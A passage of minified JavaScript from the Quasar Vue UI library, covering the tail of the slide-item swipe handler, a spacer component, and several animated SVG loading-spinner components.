                        if (void 0 !== n.$scopedSlots[t[0]]) {
                            var e = n.$refs[t[0] + "Content"];
                            e.style.transform = "scale(1)",
                            n.__size[t[0]] = e.getBoundingClientRect()[t[3]]
                        }
                    }),
                    this.__axis = "up" === t.direction || "down" === t.direction ? "Y" : "X";
                else {
                    if (t.isFinal)
                        return o.classList.remove("no-transition"),
                        void (1 === this.__scale ? (o.style.transform = "translate" + this.__axis + "(" + 100 * this.__dir + "%)",
                        this.timer = setTimeout(function() {
                            n.$emit(n.__showing, {
                                reset: n.reset
                            }),
                            n.$emit("action", {
                                side: n.__showing,
                                reset: n.reset
                            })
                        }, 230)) : o.style.transform = "translate(0,0)");
                    t.direction = "X" === this.__axis ? t.offset.x < 0 ? "left" : "right" : t.offset.y < 0 ? "up" : "down"
                }
                void 0 === this.$scopedSlots.left && t.direction === this.langDir.right || void 0 === this.$scopedSlots.right && t.direction === this.langDir.left || void 0 === this.$scopedSlots.top && "down" === t.direction || void 0 === this.$scopedSlots.bottom && "up" === t.direction ? o.style.transform = "translate(0,0)" : ("X" === this.__axis ? (i = "left" === t.direction ? -1 : 1,
                e = 1 === i ? this.langDir.left : this.langDir.right,
                s = t.distance.x) : (i = "up" === t.direction ? -2 : 2,
                e = 2 === i ? "top" : "bottom",
                s = t.distance.y),
                null !== this.__dir && Math.abs(i) !== Math.abs(this.__dir) || (this.__dir !== i && (["left", "right", "top", "bottom"].forEach(function(t) {
                    void 0 !== n.$refs[t] && (n.$refs[t].style.visibility = e === t ? "visible" : "hidden")
                }),
                this.__showing = e,
                this.__dir = i),
                this.__scale = Math.max(0, Math.min(1, (s - 40) / this.__size[e])),
                o.style.transform = "translate" + this.__axis + "(" + s * i / Math.abs(i) + "px)",
                this.$refs[e + "Content"].style.transform = "scale(" + this.__scale + ")"))
            }
        },
        render: function(t) {
            var e = this
              , i = []
              , s = void 0 !== this.$scopedSlots[this.langDir.right]
              , n = void 0 !== this.$scopedSlots[this.langDir.left]
              , o = void 0 !== this.$scopedSlots.bottom
              , r = void 0 !== this.$scopedSlots.top;
            return $r.forEach(function(s) {
                var n = s[0];
                void 0 !== e.$scopedSlots[n] && i.push(t("div", {
                    ref: n,
                    class: "q-slide-item__" + n + " absolute-full row no-wrap items-" + s[1] + " justify-" + s[2] + (void 0 !== e[n + "Color"] ? " bg-" + e[n + "Color"] : "")
                }, [t("div", {
                    ref: n + "Content"
                }, e.$scopedSlots[n]())]))
            }),
            i.push(t("div", {
                ref: "content",
                key: "content",
                staticClass: "q-slide-item__content",
                directives: !0 === s || !0 === n || !0 === o || !0 === r ? [{
                    name: "touch-pan",
                    value: this.__pan,
                    modifiers: {
                        left: s,
                        right: n,
                        up: o,
                        down: r,
                        prevent: !0,
                        stop: !0,
                        mouse: !0
                    }
                }] : null
            }, Lt(this, "default"))),
            t("div", {
                staticClass: "q-slide-item q-item-type overflow-hidden",
                class: !0 === this.isDark ? "q-slide-item--dark q-dark" : "",
                on: Object.assign({}, this.qListeners)
            }, i)
        },
        beforeDestroy: function() {
            clearTimeout(this.timer)
        }
    })
      , Lr = t.extend({
        name: "QSpace",
        mixins: [Mt],
        render: function(t) {
            return t("div", {
                staticClass: "q-space",
                on: Object.assign({}, this.qListeners)
            })
        }
    })
      , Br = t.extend({
        name: "QSpinnerAudio",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    fill: "currentColor",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 55 80",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("g", {
                attrs: {
                    transform: "matrix(1 0 0 -1 0 80)"
                }
            }, [t("rect", {
                attrs: {
                    width: "10",
                    height: "20",
                    rx: "3"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "height",
                    begin: "0s",
                    dur: "4.3s",
                    values: "20;45;57;80;64;32;66;45;64;23;66;13;64;56;34;34;2;23;76;79;20",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("rect", {
                attrs: {
                    x: "15",
                    width: "10",
                    height: "80",
                    rx: "3"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "height",
                    begin: "0s",
                    dur: "2s",
                    values: "80;55;33;5;75;23;73;33;12;14;60;80",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("rect", {
                attrs: {
                    x: "30",
                    width: "10",
                    height: "50",
                    rx: "3"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "height",
                    begin: "0s",
                    dur: "1.4s",
                    values: "50;34;78;23;56;23;34;76;80;54;21;50",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("rect", {
                attrs: {
                    x: "45",
                    width: "10",
                    height: "30",
                    rx: "3"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "height",
                    begin: "0s",
                    dur: "2s",
                    values: "30;45;13;80;56;72;45;76;34;23;67;30",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })])])])
        }
    })
      , Pr = t.extend({
        name: "QSpinnerBall",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    stroke: "currentColor",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 57 57",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("g", {
                attrs: {
                    transform: "translate(1 1)",
                    "stroke-width": "2",
                    fill: "none",
                    "fill-rule": "evenodd"
                }
            }, [t("circle", {
                attrs: {
                    cx: "5",
                    cy: "50",
                    r: "5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "cy",
                    begin: "0s",
                    dur: "2.2s",
                    values: "50;5;50;50",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "cx",
                    begin: "0s",
                    dur: "2.2s",
                    values: "5;27;49;5",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "27",
                    cy: "5",
                    r: "5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "cy",
                    begin: "0s",
                    dur: "2.2s",
                    from: "5",
                    to: "5",
                    values: "5;50;50;5",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "cx",
                    begin: "0s",
                    dur: "2.2s",
                    from: "27",
                    to: "27",
                    values: "27;49;5;27",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "49",
                    cy: "50",
                    r: "5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "cy",
                    begin: "0s",
                    dur: "2.2s",
                    values: "50;50;5;50",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "cx",
                    from: "49",
                    to: "49",
                    begin: "0s",
                    dur: "2.2s",
                    values: "49;5;27;49",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })])])])
        }
    })
      , Or = t.extend({
        name: "QSpinnerBars",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    fill: "currentColor",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 135 140",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("rect", {
                attrs: {
                    y: "10",
                    width: "15",
                    height: "120",
                    rx: "6"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "height",
                    begin: "0.5s",
                    dur: "1s",
                    values: "120;110;100;90;80;70;60;50;40;140;120",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "y",
                    begin: "0.5s",
                    dur: "1s",
                    values: "10;15;20;25;30;35;40;45;50;0;10",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("rect", {
                attrs: {
                    x: "30",
                    y: "10",
                    width: "15",
                    height: "120",
                    rx: "6"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "height",
                    begin: "0.25s",
                    dur: "1s",
                    values: "120;110;100;90;80;70;60;50;40;140;120",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "y",
                    begin: "0.25s",
                    dur: "1s",
                    values: "10;15;20;25;30;35;40;45;50;0;10",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("rect", {
                attrs: {
                    x: "60",
                    width: "15",
                    height: "140",
                    rx: "6"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "height",
                    begin: "0s",
                    dur: "1s",
                    values: "120;110;100;90;80;70;60;50;40;140;120",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "y",
                    begin: "0s",
                    dur: "1s",
                    values: "10;15;20;25;30;35;40;45;50;0;10",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("rect", {
                attrs: {
                    x: "90",
                    y: "10",
                    width: "15",
                    height: "120",
                    rx: "6"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "height",
                    begin: "0.25s",
                    dur: "1s",
                    values: "120;110;100;90;80;70;60;50;40;140;120",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "y",
                    begin: "0.25s",
                    dur: "1s",
                    values: "10;15;20;25;30;35;40;45;50;0;10",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("rect", {
                attrs: {
                    x: "120",
                    y: "10",
                    width: "15",
                    height: "120",
                    rx: "6"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "height",
                    begin: "0.5s",
                    dur: "1s",
                    values: "120;110;100;90;80;70;60;50;40;140;120",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "y",
                    begin: "0.5s",
                    dur: "1s",
                    values: "10;15;20;25;30;35;40;45;50;0;10",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })])])
        }
    })
      , Er = t.extend({
        name: "QSpinnerComment",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    width: this.cSize,
                    height: this.cSize,
                    xmlns: "http://www.w3.org/2000/svg",
                    viewBox: "0 0 100 100",
                    preserveAspectRatio: "xMidYMid"
                }
            }, [t("rect", {
                attrs: {
                    x: "0",
                    y: "0",
                    width: "100",
                    height: "100",
                    fill: "none"
                }
            }), t("path", {
                attrs: {
                    d: "M78,19H22c-6.6,0-12,5.4-12,12v31c0,6.6,5.4,12,12,12h37.2c0.4,3,1.8,5.6,3.7,7.6c2.4,2.5,5.1,4.1,9.1,4 c-1.4-2.1-2-7.2-2-10.3c0-0.4,0-0.8,0-1.3h8c6.6,0,12-5.4,12-12V31C90,24.4,84.6,19,78,19z",
                    fill: "currentColor"
                }
            }), t("circle", {
                attrs: {
                    cx: "30",
                    cy: "47",
                    r: "5",
                    fill: "#fff"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "opacity",
                    from: "0",
                    to: "1",
                    values: "0;1;1",
                    keyTimes: "0;0.2;1",
                    dur: "1s",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "50",
                    cy: "47",
                    r: "5",
                    fill: "#fff"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "opacity",
                    from: "0",
                    to: "1",
                    values: "0;0;1;1",
                    keyTimes: "0;0.2;0.4;1",
                    dur: "1s",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "70",
                    cy: "47",
                    r: "5",
                    fill: "#fff"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "opacity",
                    from: "0",
                    to: "1",
                    values: "0;0;1;1",
                    keyTimes: "0;0.4;0.6;1",
                    dur: "1s",
                    repeatCount: "indefinite"
                }
            })])])
        }
    })
      , zr = t.extend({
        name: "QSpinnerCube",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    width: this.cSize,
                    height: this.cSize,
                    xmlns: "http://www.w3.org/2000/svg",
                    viewBox: "0 0 100 100",
                    preserveAspectRatio: "xMidYMid"
                }
            }, [t("rect", {
                attrs: {
                    x: "0",
                    y: "0",
                    width: "100",
                    height: "100",
                    fill: "none"
                }
            }), t("g", {
                attrs: {
                    transform: "translate(25 25)"
                }
            }, [t("rect", {
                attrs: {
                    x: "-20",
                    y: "-20",
                    width: "40",
                    height: "40",
                    fill: "currentColor",
                    opacity: "0.9"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "scale",
                    from: "1.5",
                    to: "1",
                    repeatCount: "indefinite",
                    begin: "0s",
                    dur: "1s",
                    calcMode: "spline",
                    keySplines: "0.2 0.8 0.2 0.8",
                    keyTimes: "0;1"
                }
            })])]), t("g", {
                attrs: {
                    transform: "translate(75 25)"
                }
            }, [t("rect", {
                attrs: {
                    x: "-20",
                    y: "-20",
                    width: "40",
                    height: "40",
                    fill: "currentColor",
                    opacity: "0.8"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "scale",
                    from: "1.5",
                    to: "1",
                    repeatCount: "indefinite",
                    begin: "0.1s",
                    dur: "1s",
                    calcMode: "spline",
                    keySplines: "0.2 0.8 0.2 0.8",
                    keyTimes: "0;1"
                }
            })])]), t("g", {
                attrs: {
                    transform: "translate(25 75)"
                }
            }, [t("rect", {
                staticClass: "cube",
                attrs: {
                    x: "-20",
                    y: "-20",
                    width: "40",
                    height: "40",
                    fill: "currentColor",
                    opacity: "0.7"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "scale",
                    from: "1.5",
                    to: "1",
                    repeatCount: "indefinite",
                    begin: "0.3s",
                    dur: "1s",
                    calcMode: "spline",
                    keySplines: "0.2 0.8 0.2 0.8",
                    keyTimes: "0;1"
                }
            })])]), t("g", {
                attrs: {
                    transform: "translate(75 75)"
                }
            }, [t("rect", {
                staticClass: "cube",
                attrs: {
                    x: "-20",
                    y: "-20",
                    width: "40",
                    height: "40",
                    fill: "currentColor",
                    opacity: "0.6"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "scale",
                    from: "1.5",
                    to: "1",
                    repeatCount: "indefinite",
                    begin: "0.2s",
                    dur: "1s",
                    calcMode: "spline",
                    keySplines: "0.2 0.8 0.2 0.8",
                    keyTimes: "0;1"
                }
            })])])])
        }
    })
      , Ar = t.extend({
        name: "QSpinnerDots",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    fill: "currentColor",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 120 30",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("circle", {
                attrs: {
                    cx: "15",
                    cy: "15",
                    r: "15"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "r",
                    from: "15",
                    to: "15",
                    begin: "0s",
                    dur: "0.8s",
                    values: "15;9;15",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    from: "1",
                    to: "1",
                    begin: "0s",
                    dur: "0.8s",
                    values: "1;.5;1",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "60",
                    cy: "15",
                    r: "9",
                    "fill-opacity": ".3"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "r",
                    from: "9",
                    to: "9",
                    begin: "0s",
                    dur: "0.8s",
                    values: "9;15;9",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    from: ".5",
                    to: ".5",
                    begin: "0s",
                    dur: "0.8s",
                    values: ".5;1;.5",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "105",
                    cy: "15",
                    r: "15"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "r",
                    from: "15",
                    to: "15",
                    begin: "0s",
                    dur: "0.8s",
                    values: "15;9;15",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            }), t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    from: "1",
                    to: "1",
                    begin: "0s",
                    dur: "0.8s",
                    values: "1;.5;1",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })])])
        }
    })
      , Dr = t.extend({
        name: "QSpinnerFacebook",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 100 100",
                    xmlns: "http://www.w3.org/2000/svg",
                    preserveAspectRatio: "xMidYMid"
                }
            }, [t("g", {
                attrs: {
                    transform: "translate(20 50)"
                }
            }, [t("rect", {
                attrs: {
                    x: "-10",
                    y: "-30",
                    width: "20",
                    height: "60",
                    fill: "currentColor",
                    opacity: "0.6"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "scale",
                    from: "2",
                    to: "1",
                    begin: "0s",
                    repeatCount: "indefinite",
                    dur: "1s",
                    calcMode: "spline",
                    keySplines: "0.1 0.9 0.4 1",
                    keyTimes: "0;1",
                    values: "2;1"
                }
            })])]), t("g", {
                attrs: {
                    transform: "translate(50 50)"
                }
            }, [t("rect", {
                attrs: {
                    x: "-10",
                    y: "-30",
                    width: "20",
                    height: "60",
                    fill: "currentColor",
                    opacity: "0.8"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "scale",
                    from: "2",
                    to: "1",
                    begin: "0.1s",
                    repeatCount: "indefinite",
                    dur: "1s",
                    calcMode: "spline",
                    keySplines: "0.1 0.9 0.4 1",
                    keyTimes: "0;1",
                    values: "2;1"
                }
            })])]), t("g", {
                attrs: {
                    transform: "translate(80 50)"
                }
            }, [t("rect", {
                attrs: {
                    x: "-10",
                    y: "-30",
                    width: "20",
                    height: "60",
                    fill: "currentColor",
                    opacity: "0.9"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "scale",
                    from: "2",
                    to: "1",
                    begin: "0.2s",
                    repeatCount: "indefinite",
                    dur: "1s",
                    calcMode: "spline",
                    keySplines: "0.1 0.9 0.4 1",
                    keyTimes: "0;1",
                    values: "2;1"
                }
            })])])])
        }
    })
      , Rr = t.extend({
        name: "QSpinnerGears",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 100 100",
                    preserveAspectRatio: "xMidYMid",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("g", {
                attrs: {
                    transform: "translate(-20,-20)"
                }
            }, [t("path", {
                attrs: {
                    d: "M79.9,52.6C80,51.8,80,50.9,80,50s0-1.8-0.1-2.6l-5.1-0.4c-0.3-2.4-0.9-4.6-1.8-6.7l4.2-2.9c-0.7-1.6-1.6-3.1-2.6-4.5 L70,35c-1.4-1.9-3.1-3.5-4.9-4.9l2.2-4.6c-1.4-1-2.9-1.9-4.5-2.6L59.8,27c-2.1-0.9-4.4-1.5-6.7-1.8l-0.4-5.1C51.8,20,50.9,20,50,20 s-1.8,0-2.6,0.1l-0.4,5.1c-2.4,0.3-4.6,0.9-6.7,1.8l-2.9-4.1c-1.6,0.7-3.1,1.6-4.5,2.6l2.1,4.6c-1.9,1.4-3.5,3.1-5,4.9l-4.5-2.1 c-1,1.4-1.9,2.9-2.6,4.5l4.1,2.9c-0.9,2.1-1.5,4.4-1.8,6.8l-5,0.4C20,48.2,20,49.1,20,50s0,1.8,0.1,2.6l5,0.4 c0.3,2.4,0.9,4.7,1.8,6.8l-4.1,2.9c0.7,1.6,1.6,3.1,2.6,4.5l4.5-2.1c1.4,1.9,3.1,3.5,5,4.9l-2.1,4.6c1.4,1,2.9,1.9,4.5,2.6l2.9-4.1 c2.1,0.9,4.4,1.5,6.7,1.8l0.4,5.1C48.2,80,49.1,80,50,80s1.8,0,2.6-0.1l0.4-5.1c2.3-0.3,4.6-0.9,6.7-1.8l2.9,4.2 c1.6-0.7,3.1-1.6,4.5-2.6L65,69.9c1.9-1.4,3.5-3,4.9-4.9l4.6,2.2c1-1.4,1.9-2.9,2.6-4.5L73,59.8c0.9-2.1,1.5-4.4,1.8-6.7L79.9,52.6 z M50,65c-8.3,0-15-6.7-15-15c0-8.3,6.7-15,15-15s15,6.7,15,15C65,58.3,58.3,65,50,65z",
                    fill: "currentColor"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "rotate",
                    from: "90 50 50",
                    to: "0 50 50",
                    dur: "1s",
                    repeatCount: "indefinite"
                }
            })])]), t("g", {
                attrs: {
                    transform: "translate(20,20) rotate(15 50 50)"
                }
            }, [t("path", {
                attrs: {
                    d: "M79.9,52.6C80,51.8,80,50.9,80,50s0-1.8-0.1-2.6l-5.1-0.4c-0.3-2.4-0.9-4.6-1.8-6.7l4.2-2.9c-0.7-1.6-1.6-3.1-2.6-4.5 L70,35c-1.4-1.9-3.1-3.5-4.9-4.9l2.2-4.6c-1.4-1-2.9-1.9-4.5-2.6L59.8,27c-2.1-0.9-4.4-1.5-6.7-1.8l-0.4-5.1C51.8,20,50.9,20,50,20 s-1.8,0-2.6,0.1l-0.4,5.1c-2.4,0.3-4.6,0.9-6.7,1.8l-2.9-4.1c-1.6,0.7-3.1,1.6-4.5,2.6l2.1,4.6c-1.9,1.4-3.5,3.1-5,4.9l-4.5-2.1 c-1,1.4-1.9,2.9-2.6,4.5l4.1,2.9c-0.9,2.1-1.5,4.4-1.8,6.8l-5,0.4C20,48.2,20,49.1,20,50s0,1.8,0.1,2.6l5,0.4 c0.3,2.4,0.9,4.7,1.8,6.8l-4.1,2.9c0.7,1.6,1.6,3.1,2.6,4.5l4.5-2.1c1.4,1.9,3.1,3.5,5,4.9l-2.1,4.6c1.4,1,2.9,1.9,4.5,2.6l2.9-4.1 c2.1,0.9,4.4,1.5,6.7,1.8l0.4,5.1C48.2,80,49.1,80,50,80s1.8,0,2.6-0.1l0.4-5.1c2.3-0.3,4.6-0.9,6.7-1.8l2.9,4.2 c1.6-0.7,3.1-1.6,4.5-2.6L65,69.9c1.9-1.4,3.5-3,4.9-4.9l4.6,2.2c1-1.4,1.9-2.9,2.6-4.5L73,59.8c0.9-2.1,1.5-4.4,1.8-6.7L79.9,52.6 z M50,65c-8.3,0-15-6.7-15-15c0-8.3,6.7-15,15-15s15,6.7,15,15C65,58.3,58.3,65,50,65z",
                    fill: "currentColor"
                }
            }, [t("animateTransform", {
                attrs: {
                    attributeName: "transform",
                    type: "rotate",
                    from: "0 50 50",
                    to: "90 50 50",
                    dur: "1s",
                    repeatCount: "indefinite"
                }
            })])])])
        }
    })
      , Ir = t.extend({
        name: "QSpinnerGrid",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    fill: "currentColor",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 105 105",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("circle", {
                attrs: {
                    cx: "12.5",
                    cy: "12.5",
                    r: "12.5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    begin: "0s",
                    dur: "1s",
                    values: "1;.2;1",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "12.5",
                    cy: "52.5",
                    r: "12.5",
                    "fill-opacity": ".5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    begin: "100ms",
                    dur: "1s",
                    values: "1;.2;1",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "52.5",
                    cy: "12.5",
                    r: "12.5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    begin: "300ms",
                    dur: "1s",
                    values: "1;.2;1",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "52.5",
                    cy: "52.5",
                    r: "12.5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    begin: "600ms",
                    dur: "1s",
                    values: "1;.2;1",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "92.5",
                    cy: "12.5",
                    r: "12.5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    begin: "800ms",
                    dur: "1s",
                    values: "1;.2;1",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "92.5",
                    cy: "52.5",
                    r: "12.5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    begin: "400ms",
                    dur: "1s",
                    values: "1;.2;1",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "12.5",
                    cy: "92.5",
                    r: "12.5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    begin: "700ms",
                    dur: "1s",
                    values: "1;.2;1",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "52.5",
                    cy: "92.5",
                    r: "12.5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    begin: "500ms",
                    dur: "1s",
                    values: "1;.2;1",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("circle", {
                attrs: {
                    cx: "92.5",
                    cy: "92.5",
                    r: "12.5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    begin: "200ms",
                    dur: "1s",
                    values: "1;.2;1",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })])])
        }
    })
      , Fr = t.extend({
        name: "QSpinnerHearts",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    fill: "currentColor",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 140 64",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("path", {
                attrs: {
                    d: "M30.262 57.02L7.195 40.723c-5.84-3.976-7.56-12.06-3.842-18.063 3.715-6 11.467-7.65 17.306-3.68l4.52 3.76 2.6-5.274c3.716-6.002 11.47-7.65 17.304-3.68 5.84 3.97 7.56 12.054 3.842 18.062L34.49 56.118c-.897 1.512-2.793 1.915-4.228.9z",
                    "fill-opacity": ".5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    begin: "0s",
                    dur: "1.4s",
                    values: "0.5;1;0.5",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("path", {
                attrs: {
                    d: "M105.512 56.12l-14.44-24.272c-3.716-6.008-1.996-14.093 3.843-18.062 5.835-3.97 13.588-2.322 17.306 3.68l2.6 5.274 4.52-3.76c5.84-3.97 13.593-2.32 17.308 3.68 3.718 6.003 1.998 14.088-3.842 18.064L109.74 57.02c-1.434 1.014-3.33.61-4.228-.9z",
                    "fill-opacity": ".5"
                }
            }, [t("animate", {
                attrs: {
                    attributeName: "fill-opacity",
                    begin: "0.7s",
                    dur: "1.4s",
                    values: "0.5;1;0.5",
                    calcMode: "linear",
                    repeatCount: "indefinite"
                }
            })]), t("path", {
                attrs: {
                    d: "M67.408 57.834l-23.01-24.98c-5.864-6.15-5.864-16.108 0-22.248 5.86-6.14 15.37-6.14 21.234 0L70 16.168l4.368-5.562c5.863-6.14 15.375-6.14 21.235 0 5.863 6.14 5.863 16.098 0 22.247l-23.007 24.98c-1.43 1.556-3.757 1.556-5.188 0z"
                }
            })])
        }
    })
      , jr = t.extend({
        name: "QSpinnerHourglass",
        mixins: [Ut],
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "0 0 100 100",
                    preserveAspectRatio: "xMidYMid",
                    xmlns: "http://www.w3.org/2000/svg"
                }
            }, [t("g", [t("path", {
                staticClass: "glass",
                attrs: {
                    fill: "none",
                    stroke: "currentColor",
                    "stroke-width": "5",
                    "stroke-miterlimit": "10",
                    d: "M58.4,51.7c-0.9-0.9-1.4-2-1.4-2.3s0.5-0.4,1.4-1.4 C70.8,43.8,79.8,30.5,80,15.5H70H30H20c0.2,15,9.2,28.1,21.6,32.3c0.9,0.9,1.4,1.2,1.4,1.5s-0.5,1.6-1.4,2.5 C29.2,56.1,20.2,69.5,20,85.5h10h40h10C79.8,69.5,70.8,55.9,58.4,51.7z"
                }
            }), t("clipPath", {
                attrs: {
                    id: "uil-hourglass-clip1"
                }
            }, [t("rect", {
                staticClass: "clip",
                attrs: {
                    x: "15",
